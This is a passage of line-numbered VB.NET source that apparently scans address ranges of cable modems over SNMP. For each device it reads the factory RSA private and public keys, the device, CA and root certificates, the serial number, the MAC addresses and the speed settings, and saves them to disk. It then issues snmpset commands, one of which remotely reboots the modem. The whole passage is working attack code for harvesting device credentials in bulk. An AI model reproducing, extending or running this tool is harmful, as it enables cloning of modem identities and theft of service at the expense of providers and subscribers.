  1418.                 If System.IO.File.Exists(filetodelete) = True Then
  1419.                     System.IO.File.Delete(filetodelete)
  1420.                 End If
  1421.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  1422.                 If System.IO.File.Exists(filetodelete) = True Then
  1423.                     System.IO.File.Delete(filetodelete)
  1424.                 End If
  1425.  
  1426.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  1427.                 If System.IO.File.Exists(filetodelete) = True Then
  1428.                     System.IO.File.Delete(filetodelete)
  1429.                 End If
  1430.  
  1431.  
  1432.  
  1433.  
  1434.  
  1435.  
  1436.  
  1437.                 'get cmFactoryRSAPublicKey.txt
  1438.                 Dim myProcess1 As Process = New Process
  1439.                 Dim s1 As String
  1440.                 myProcess1.StartInfo.FileName = x
  1441.                 myProcess1.StartInfo.UseShellExecute = False
  1442.                 myProcess1.StartInfo.CreateNoWindow = True
  1443.                 myProcess1.StartInfo.RedirectStandardInput = True
  1444.                 myProcess1.StartInfo.RedirectStandardOutput = True
  1445.                 myProcess1.StartInfo.RedirectStandardError = True
  1446.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  1447.                 myProcess1.Start()
  1448.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  1449.                 sIn1.AutoFlush = True
  1450.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  1451.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  1452.                 s1 = sOut1.ReadToEnd()
  1453.                 If Not myProcess1.HasExited Then
  1454.                     myProcess1.Kill()
  1455.                 End If
  1456.                 sIn1.Close()
  1457.                 sOut1.Close()
  1458.                 sErr1.Close()
  1459.                 myProcess1.Close()
  1460.                 Dim temp1 As String
  1461.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  1462.                 temp1 = Replace(temp1, "Hex-", Nothing)
  1463.                 temp1 = Replace(temp1, Chr(34), Nothing)
  1464.                 Dim oFile As System.IO.File
  1465.                 Dim oWrite As System.IO.StreamWriter
  1466.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  1467.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  1468.                 End If
  1469.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  1470.                 oWrite = oFile.CreateText(filedir)
  1471.                 oWrite.WriteLine(temp1)
  1472.                 oWrite.Close()
  1473.                 Dim bytelist1 As String()
  1474.                 Dim templist1 As String
  1475.                 templist1 = Replace(temp1, vbCrLf, " ")
  1476.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  1477.                 templist1 = Replace(templist1, " ", ",")
  1478.                 templist1 = Replace(templist1, ",,", ",")
  1479.                 bytelist1 = Split(templist1, ",")
  1480.                 Dim coutner1 As Integer
  1481.                 coutner1 = 2
  1482.                 Dim countback1 As Integer = bytelist1.Length - 2
  1483.                 Dim countup1 As Integer = 1
  1484.                 Dim watchvar1 As Integer = 0
  1485.                 While countback1 >= 0
  1486.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  1487.                         countup1 += 1
  1488.                     Else
  1489.                         watchvar1 = 1
  1490.                     End If
  1491.                     countback1 -= 1
  1492.                 End While
  1493.                 While coutner1 < bytelist1.Length - countup1
  1494.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  1495.                     Dim oFileStream1 As System.IO.FileStream
  1496.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  1497.                     oFileStream1.WriteByte(byteData)
  1498.                     oFileStream1.Close()
  1499.                     coutner1 += 1
  1500.                 End While
  1501.                 'get cmFactoryRSAPrivateKey.txt
  1502.                 Dim myProcess2 As Process = New Process
  1503.                 Dim s2 As String
  1504.                 myProcess2.StartInfo.FileName = x
  1505.                 myProcess2.StartInfo.UseShellExecute = False
  1506.                 myProcess2.StartInfo.CreateNoWindow = True
  1507.                 myProcess2.StartInfo.RedirectStandardInput = True
  1508.                 myProcess2.StartInfo.RedirectStandardOutput = True
  1509.                 myProcess2.StartInfo.RedirectStandardError = True
  1510.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  1511.                 myProcess2.Start()
  1512.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  1513.                 sIn2.AutoFlush = True
  1514.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  1515.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  1516.                 s2 = sOut2.ReadToEnd()
  1517.                 If Not myProcess2.HasExited Then
  1518.                     myProcess2.Kill()
  1519.                 End If
  1520.                 sIn2.Close()
  1521.                 sOut2.Close()
  1522.                 sErr2.Close()
  1523.                 myProcess2.Close()
  1524.                 Dim temp2 As String
  1525.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  1526.                 temp2 = Replace(temp2, "Hex-", "")
  1527.                 temp2 = Replace(temp2, Chr(34), "")
  1528.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  1529.                 oWrite = oFile.CreateText(filedir)
  1530.                 oWrite.WriteLine(temp2)
  1531.                 oWrite.Close()
  1532.                 Dim bytelist2 As String()
  1533.                 Dim templist2 As String
  1534.                 templist2 = Replace(temp2, vbCrLf, " ")
  1535.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  1536.                 templist2 = Replace(templist2, " ", ",")
  1537.                 templist2 = Replace(templist2, ",,", ",")
  1538.                 bytelist2 = Split(templist2, ",")
  1539.                 Dim coutner2 As Integer
  1540.                 coutner2 = 2
  1541.                 Dim countback2 As Integer = bytelist2.Length - 2
  1542.                 Dim countup2 As Integer = 1
  1543.                 Dim watchvar2 As Integer = 0
  1544.                 While countback2 >= 0
  1545.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  1546.                         countup2 += 1
  1547.                     Else
  1548.                         watchvar2 = 1
  1549.                     End If
  1550.                     countback2 -= 1
  1551.                 End While
  1552.                 While coutner2 < bytelist2.Length - countup2
  1553.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  1554.                     Dim oFileStream2 As System.IO.FileStream
  1555.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  1556.                     oFileStream2.WriteByte(byteData2)
  1557.                     oFileStream2.Close()
  1558.                     coutner2 += 1
  1559.                 End While
  1560.                 'get cmFactoryCMCertificate.txt
  1561.                 Dim myProcess3 As Process = New Process
  1562.                 Dim s3 As String
  1563.                 myProcess3.StartInfo.FileName = x
  1564.                 myProcess3.StartInfo.UseShellExecute = False
  1565.                 myProcess3.StartInfo.CreateNoWindow = True
  1566.                 myProcess3.StartInfo.RedirectStandardInput = True
  1567.                 myProcess3.StartInfo.RedirectStandardOutput = True
  1568.                 myProcess3.StartInfo.RedirectStandardError = True
  1569.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  1570.                 myProcess3.Start()
  1571.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  1572.                 sIn3.AutoFlush = True
  1573.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  1574.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  1575.                 s3 = sOut3.ReadToEnd()
  1576.                 If Not myProcess3.HasExited Then
  1577.                     myProcess3.Kill()
  1578.                 End If
  1579.                 sIn3.Close()
  1580.                 sOut3.Close()
  1581.                 sErr3.Close()
  1582.                 myProcess3.Close()
  1583.                 Dim temp3 As String
  1584.  
  1585.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  1586.                 temp3 = Replace(temp3, "Hex-", "")
  1587.                 temp3 = Replace(temp3, Chr(34), "")
  1588.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  1589.                 oWrite = oFile.CreateText(filedir)
  1590.                 oWrite.WriteLine(temp3)
  1591.                 oWrite.Close()
  1592.                 Dim bytelist3 As String()
  1593.                 Dim templist3 As String
  1594.                 templist3 = Replace(temp3, vbCrLf, " ")
  1595.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  1596.                 templist3 = Replace(templist3, " ", ",")
  1597.                 templist3 = Replace(templist3, ",,", ",")
  1598.                 bytelist3 = Split(templist3, ",")
  1599.                 Dim coutner3 As Integer
  1600.                 coutner3 = 2
  1601.                 Dim countback3 As Integer = bytelist3.Length - 2
  1602.                 Dim countup3 As Integer = 1
  1603.                 Dim watchvar3 As Integer = 0
  1604.                 While countback3 >= 0
  1605.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  1606.                         countup3 += 1
  1607.                     Else
  1608.                         watchvar3 = 1
  1609.                     End If
  1610.                     countback3 -= 1
  1611.                 End While
  1612.                 While coutner3 < bytelist3.Length - countup3
  1613.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  1614.                     Dim oFileStream3 As System.IO.FileStream
  1615.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  1616.                     oFileStream3.WriteByte(byteData3)
  1617.                     oFileStream3.Close()
  1618.                     coutner3 = coutner3 + 1
  1619.                 End While
  1620.                 'get cmFactoryCaCertificate.txt
  1621.                 Dim myProcess4 As Process = New Process
  1622.                 Dim s4 As String
  1623.                 myProcess4.StartInfo.FileName = x
  1624.                 myProcess4.StartInfo.UseShellExecute = False
  1625.                 myProcess4.StartInfo.CreateNoWindow = True
  1626.                 myProcess4.StartInfo.RedirectStandardInput = True
  1627.                 myProcess4.StartInfo.RedirectStandardOutput = True
  1628.                 myProcess4.StartInfo.RedirectStandardError = True
  1629.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  1630.                 myProcess4.Start()
  1631.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  1632.                 sIn4.AutoFlush = True
  1633.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  1634.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  1635.                 s4 = sOut4.ReadToEnd()
  1636.                 If Not myProcess4.HasExited Then
  1637.                     myProcess4.Kill()
  1638.                 End If
  1639.                 sIn4.Close()
  1640.                 sOut4.Close()
  1641.                 sErr4.Close()
  1642.                 myProcess4.Close()
  1643.                 Dim temp4 As String
  1644.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  1645.                 temp4 = Replace(temp4, "Hex-", "")
  1646.                 temp4 = Replace(temp4, Chr(34), "")
  1647.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  1648.                 oWrite = oFile.CreateText(filedir)
  1649.                 oWrite.WriteLine(temp4)
  1650.                 oWrite.Close()
  1651.                 Dim bytelist4 As String()
  1652.                 Dim templist4 As String
  1653.                 templist4 = Replace(temp4, vbCrLf, " ")
  1654.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  1655.                 templist4 = Replace(templist4, " ", ",")
  1656.                 templist4 = Replace(templist4, ",,", ",")
  1657.                 bytelist4 = Split(templist4, ",")
  1658.                 Dim coutner4 As Integer
  1659.                 coutner4 = 2
  1660.                 Dim countback4 As Integer = bytelist4.Length - 2
  1661.                 Dim countup4 As Integer = 1
  1662.                 Dim watchvar4 As Integer = 0
  1663.                 While countback4 >= 0
  1664.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  1665.                         countup4 = countup4 + 1
  1666.                     Else
  1667.                         watchvar4 = 1
  1668.                     End If
  1669.                     countback4 = countback4 - 1
  1670.                 End While
  1671.                 While coutner4 < bytelist4.Length - countup4
  1672.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  1673.                     Dim oFileStream4 As System.IO.FileStream
  1674.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  1675.                     oFileStream4.WriteByte(byteData4)
  1676.                     oFileStream4.Close()
  1677.                     coutner4 = coutner4 + 1
  1678.                 End While
  1679.                 'get cmFactoryRootCertificate.txt
  1680.                 Dim myProcess5 As Process = New Process
  1681.                 Dim s5 As String
  1682.                 myProcess5.StartInfo.FileName = x
  1683.                 myProcess5.StartInfo.UseShellExecute = False
  1684.                 myProcess5.StartInfo.CreateNoWindow = True
  1685.                 myProcess5.StartInfo.RedirectStandardInput = True
  1686.                 myProcess5.StartInfo.RedirectStandardOutput = True
  1687.                 myProcess5.StartInfo.RedirectStandardError = True
  1688.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  1689.                 myProcess5.Start()
  1690.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  1691.                 sIn5.AutoFlush = True
  1692.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  1693.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  1694.                 s5 = sOut5.ReadToEnd()
  1695.                 If Not myProcess5.HasExited Then
  1696.                     myProcess5.Kill()
  1697.                 End If
  1698.                 sIn5.Close()
  1699.                 sOut5.Close()
  1700.                 sErr5.Close()
  1701.                 myProcess5.Close()
  1702.                 Dim temp5 As String
  1703.  
  1704.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  1705.                 temp5 = Replace(temp5, "Hex-", "")
  1706.                 temp5 = Replace(temp5, Chr(34), "")
  1707.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  1708.                 oWrite = oFile.CreateText(filedir)
  1709.                 oWrite.WriteLine(temp5)
  1710.                 oWrite.Close()
  1711.                 Dim bytelist5 As String()
  1712.                 Dim templist5 As String
  1713.                 templist5 = Replace(temp5, vbCrLf, " ")
  1714.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  1715.                 templist5 = Replace(templist5, " ", ",")
  1716.                 templist5 = Replace(templist5, ",,", ",")
  1717.                 bytelist5 = Split(templist5, ",")
  1718.                 Dim coutner5 As Integer
  1719.                 coutner5 = 2
  1720.                 Dim countback5 As Integer = bytelist5.Length - 2
  1721.                 Dim countup5 As Integer = 1
  1722.                 Dim watchvar5 As Integer = 0
  1723.                 While countback5 >= 0
  1724.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  1725.                         countup5 = countup5 + 1
  1726.                     Else
  1727.                         watchvar5 = 1
  1728.                     End If
  1729.                     countback5 = countback5 - 1
  1730.                 End While
  1731.                 While coutner5 < bytelist5.Length - countup5
  1732.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  1733.                     Dim oFileStream5 As System.IO.FileStream
  1734.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  1735.                     oFileStream5.WriteByte(byteData5)
  1736.                     oFileStream5.Close()
  1737.                     coutner5 = coutner5 + 1
  1738.                 End While
  1739.  
  1740.                 x = "C:\snmpcert\snmpset.exe"
  1741.                 Dim myProcess6 As Process = New Process
  1742.                 Dim s6 As String
  1743.                 myProcess6.StartInfo.FileName = x
  1744.                 myProcess6.StartInfo.UseShellExecute = False
  1745.                 myProcess6.StartInfo.CreateNoWindow = True
  1746.                 myProcess6.StartInfo.RedirectStandardInput = True
  1747.                 myProcess6.StartInfo.RedirectStandardOutput = True
  1748.                 myProcess6.StartInfo.RedirectStandardError = True
  1749.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  1750.                 myProcess6.Start()
  1751.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  1752.                 sIn6.AutoFlush = True
  1753.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  1754.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  1755.                 s6 = sOut6.ReadToEnd()
  1756.                 If Not myProcess6.HasExited Then
  1757.                     myProcess6.Kill()
  1758.                 End If
  1759.                 sIn6.Close()
  1760.                 sOut6.Close()
  1761.                 sErr6.Close()
  1762.                 myProcess6.Close()
  1763.                 Dim myProcess7 As Process = New Process
  1764.                 Dim s7 As String
  1765.                 myProcess7.StartInfo.FileName = x
  1766.                 myProcess7.StartInfo.UseShellExecute = False
  1767.                 myProcess7.StartInfo.CreateNoWindow = True
  1768.                 myProcess7.StartInfo.RedirectStandardInput = True
  1769.                 myProcess7.StartInfo.RedirectStandardOutput = True
  1770.                 myProcess7.StartInfo.RedirectStandardError = True
  1771.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  1772.                 myProcess7.Start()
  1773.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  1774.                 sIn7.AutoFlush = True
  1775.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  1776.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  1777.                 s7 = sOut7.ReadToEnd()
  1778.                 If Not myProcess7.HasExited Then
  1779.                     myProcess7.Kill()
  1780.                 End If
  1781.                 sIn7.Close()
  1782.                 sOut7.Close()
  1783.                 sErr7.Close()
  1784.                 myProcess7.Close()
  1785.  
  1786.                 Timer1.Enabled = True
  1787.             Catch ex As Exception
  1788.                 Exit Sub
  1789.             End Try
  1790.         End If
  1791.     End Sub
  1792.     Sub check2(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  1793.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  1794.         Dim x = "C:\snmpcert\snmpget.exe"
  1795.         Dim myProcess As Process = New Process
  1796.         Dim s As String = ""
  1797.         myProcess.StartInfo.FileName = x
  1798.         myProcess.StartInfo.UseShellExecute = False
  1799.         myProcess.StartInfo.CreateNoWindow = True
  1800.         myProcess.StartInfo.RedirectStandardInput = True
  1801.         myProcess.StartInfo.RedirectStandardOutput = True
  1802.         myProcess.StartInfo.RedirectStandardError = True
  1803.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  1804.         myProcess.Start()
  1805.         Dim sIn As StreamWriter = myProcess.StandardInput
  1806.         sIn.AutoFlush = True
  1807.         Dim sOut As StreamReader = myProcess.StandardOutput
  1808.         Dim sErr As StreamReader = myProcess.StandardError
  1809.  
  1810.  
  1811.         s = sOut.ReadToEnd()
  1812.         Dim e As String = sErr.ReadToEnd
  1813.         Console.WriteLine(s)
  1814.         output = e
  1815.         output = s
  1816.         If Not myProcess.HasExited Then
  1817.             myProcess.Kill()
  1818.         End If
  1819.         sIn.Close()
  1820.         sOut.Close()
  1821.         sErr.Close()
  1822.         myProcess.Close()
  1823.         Dim temp As String = ""
  1824.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  1825.         temp = Replace(temp, Chr(34), "")
  1826.         If temp = Nothing Then
  1827.             temp = ""
  1828.         Else
  1829.             If temp = "No Such Object available on this agent at this OID" Then
  1830.                 allmodems += 1
  1831.             End If
  1832.             temp = temp.ToString.ToUpper
  1833.             Dim values As String
  1834.             values = temp
  1835.             Dim sites As String() = Nothing
  1836.             sites = values.Split(" ")
  1837.             Dim t As String
  1838.             For Each t In sites
  1839.                 If t = "NO" Then
  1840.                     track = 1
  1841.  
  1842.                 End If
  1843.  
  1844.             Next t
  1845.         End If
  1846.         If temp.ToString = "" Then
  1847.             Timer1.Enabled = True
  1848.             Exit Sub
  1849.         ElseIf track = 1 Then
  1850.             track = 0
  1851.             Timer1.Enabled = True
  1852.             Exit Sub
  1853.         Else
  1854.             total_modems += 1
  1855.  
  1856.             Try
  1857.                 Dim mymac1 As Process = New Process
  1858.                 Dim sm As String
  1859.                 mymac1.StartInfo.FileName = x
  1860.                 mymac1.StartInfo.UseShellExecute = False
  1861.                 mymac1.StartInfo.CreateNoWindow = True
  1862.                 mymac1.StartInfo.RedirectStandardInput = True
  1863.                 mymac1.StartInfo.RedirectStandardOutput = True
  1864.                 mymac1.StartInfo.RedirectStandardError = True
  1865.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  1866.                 mymac1.Start()
  1867.                 Dim sInm As StreamWriter = mymac1.StandardInput
  1868.                 sInm.AutoFlush = True
  1869.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  1870.                 Dim sErrm As StreamReader = mymac1.StandardError
  1871.                 sm = sOutm.ReadToEnd()
  1872.                 If Not mymac1.HasExited Then
  1873.                     mymac1.Kill()
  1874.                 End If
  1875.                 sInm.Close()
  1876.                 sOutm.Close()
  1877.                 sErrm.Close()
  1878.                 mymac1.Close()
  1879.                 Dim tempm As String = ""
  1880.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  1881.                 tempm = Replace(tempm, "Hex-", Nothing)
  1882.                 tempm = Replace(tempm, Chr(34), Nothing)
  1883.                 tempm = Replace(tempm, ":", Nothing)
  1884.                 tempm = Replace(tempm, " ", Nothing)
  1885.                 temp = Replace(temp, vbCrLf, Nothing)
  1886.                 tempm = Replace(tempm, vbCrLf, Nothing)
  1887.                 Dim usbmac As Process = New Process
  1888.                 Dim sm1 As String
  1889.                 usbmac.StartInfo.FileName = x
  1890.                 usbmac.StartInfo.UseShellExecute = False
  1891.                 usbmac.StartInfo.CreateNoWindow = True
  1892.                 usbmac.StartInfo.RedirectStandardInput = True
  1893.                 usbmac.StartInfo.RedirectStandardOutput = True
  1894.                 usbmac.StartInfo.RedirectStandardError = True
  1895.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  1896.                 usbmac.Start()
  1897.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  1898.                 sInm1.AutoFlush = True
  1899.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  1900.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  1901.                 sm1 = sOutm1.ReadToEnd()
  1902.                 If Not usbmac.HasExited Then
  1903.                     usbmac.Kill()
  1904.                 End If
  1905.                 sInm1.Close()
  1906.                 sOutm1.Close()
  1907.                 sErrm1.Close()
  1908.                 usbmac.Close()
  1909.                 Dim tempum As String = ""
  1910.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  1911.                 tempum = Replace(tempum, "Hex-", Nothing)
  1912.                 tempum = Replace(tempum, Chr(34), Nothing)
  1913.                 tempum = Replace(tempum, ":", Nothing)
  1914.                 tempum = Replace(tempum, " ", Nothing)
  1915.                 tempum = Replace(tempum, vbCrLf, Nothing)
  1916.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  1917.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  1918.                 'get SERIAL number
  1919.                 Dim myProcessSER As Process = New Process
  1920.                 Dim sSER As String
  1921.                 myProcessSER.StartInfo.FileName = x
  1922.                 myProcessSER.StartInfo.UseShellExecute = False
  1923.                 myProcessSER.StartInfo.CreateNoWindow = True
  1924.                 myProcessSER.StartInfo.RedirectStandardInput = True
  1925.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  1926.                 myProcessSER.StartInfo.RedirectStandardError = True
  1927.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  1928.                 myProcessSER.Start()
  1929.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  1930.                 sInSER.AutoFlush = True
  1931.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  1932.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  1933.                 sSER = sOutSER.ReadToEnd()
  1934.                 If Not myProcessSER.HasExited Then
  1935.                     myProcessSER.Kill()
  1936.                 End If
  1937.                 sInSER.Close()
  1938.                 sOutSER.Close()
  1939.                 sErrSER.Close()
  1940.                 myProcessSER.Close()
  1941.                 Dim tempSER As String
  1942.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  1943.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  1944.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  1945.  
  1946.  
  1947.  
  1948.  
  1949.  
  1950.  
  1951.                 'get download speed
  1952.  
  1953.                 Dim myProcessspeedd As Process = New Process
  1954.                 Dim sspeedd As String
  1955.                 myProcessspeedd.StartInfo.FileName = x
  1956.                 myProcessspeedd.StartInfo.UseShellExecute = False
  1957.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  1958.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  1959.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  1960.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  1961.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  1962.                 myProcessspeedd.Start()
  1963.  
  1964.  
  1965.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  1966.                 sInSpeedd.AutoFlush = True
  1967.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  1968.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  1969.                 sspeedd = sOutSpeedd.ReadToEnd()
  1970.                 If Not myProcessspeedd.HasExited Then
  1971.                     myProcessspeedd.Kill()
  1972.                 End If
  1973.                 sInSpeedd.Close()
  1974.                 sOutSpeedd.Close()
  1975.                 sErrSpeedd.Close()
  1976.                 myProcessspeedd.Close()
  1977.                 Dim tempSpeedd As String
  1978.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  1979.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  1980.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  1981.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  1982.                 'get upload speed
  1983.                 Dim myProcessspeedu As Process = New Process
  1984.                 Dim sspeedu As String
  1985.                 myProcessspeedu.StartInfo.FileName = x
  1986.                 myProcessspeedu.StartInfo.UseShellExecute = False
  1987.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  1988.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  1989.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  1990.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  1991.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  1992.                 myProcessspeedu.Start()
  1993.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  1994.                 sInSpeedu.AutoFlush = True
  1995.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  1996.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  1997.                 sspeedu = sOutSpeedu.ReadToEnd()
  1998.                 If Not myProcessspeedu.HasExited Then
  1999.                     myProcessspeedu.Kill()
  2000.                 End If
  2001.                 sInSpeedu.Close()
  2002.                 sOutSpeedu.Close()
  2003.                 sErrSpeedu.Close()
  2004.                 myProcessspeedu.Close()
  2005.                 Dim tempSpeedu As String
  2006.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  2007.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  2008.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  2009.  
  2010.  
  2011.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  2012.                     'get download speed doccis 1.1 +
  2013.                     Dim myProcessspeedd1 As Process = New Process
  2014.                     Dim sspeedd1 As String
  2015.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  2016.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  2017.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  2018.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  2019.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  2020.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  2021.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  2022.                     myProcessspeedd1.Start()
  2023.  
  2024.  
  2025.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  2026.                     sInSpeedd1.AutoFlush = True
  2027.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  2028.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  2029.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  2030.                     If Not myProcessspeedd1.HasExited Then
  2031.                         myProcessspeedd1.Kill()
